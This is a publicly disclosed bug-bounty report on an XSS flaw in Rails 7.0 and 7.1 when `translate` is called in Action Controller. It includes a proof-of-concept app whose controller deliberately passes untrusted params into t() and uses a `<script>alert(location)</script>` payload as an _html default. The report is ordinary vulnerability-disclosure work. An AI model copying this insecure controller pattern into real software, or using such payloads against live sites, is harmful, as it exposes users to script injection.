HexBrain

Ruby on Rails · Report #2303609

XSS when using `translate` in Action Controller (Rails 7.0, 7.1)

Validstatus
lowseverity
50upvotes
1 Oct 2024disclosed

How it was found

I have confirmed two ways that XSS can occur when using translate in Action Controller. ( https://github.com/rails/rails/blob/v7.1.2/actionpack/lib/abstract_controller/translation.rb#L15 ) This does not occur in Action View because the implementation of tanslate is different. ( https://github.com/rails/rails/blob/v7.1.2/actionview/lib/action_view/helpers/translation_helper.rb#L73 )

One is when the key value contains _html and also contains the tag value. XSS is possible because the error message returned by I18n contains the value of key and is marked as html_safe. https://github.com/rails/rails/blob/v7.1.2/activesupport/lib/active_support/html_safe_translation.rb#L35

The other case is when the key value contains _html and the value passed as default is not escaped. This was fixed in Action View as CVE-2020-15169, but it is not modified on the Action Controller side.

PoC

❯ ruby -v
ruby 3.2.2 (2023-03-30 revision e51014f9c0) [arm64-darwin22]

❯ rails new rails_server -G -M -O -C -A -J -T 
# Rails 7.1.2

❯ cd rails_server

config/routes.rb

Rails.application.routes.draw do
   get "/articles/missing_key", to: "articles#missing_key"
   get "/articles/default", to: "articles#default"
end

app/controllers/articles_controller.rb

class ArticlesController < ApplicationController

  def missing_key  
    @message = t(params[:text])
    render :show
  end

  def default  
    @message = t("message_html", default: "<script>alert(location)</script>")
    render :show
  end
end

app/views/articles/show.html.erb

<h1><%= @message %></h1>

<%# Confirm translate is escape in Action View %>
<p><%= t("<script>alert(location)</script>_html") %></p>
<p><%= t("message_html", default: "<script>alert(location)</script>") %></p>

start server

❯ bundle exec rails s

You can confirm the XSS by accessing the URL below.

Impact

XSS occurs if pass an untrusted value to translate in the controller.

I confirmed that it occurs in versions 7.1 and 7.0, but the XSS did not occur in 6.1. I'm guessing it's an effect of this commit. https://github.com/rails/rails/commit/a5247bb90895f843c45fb095a4072e8ef30eaa4e

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original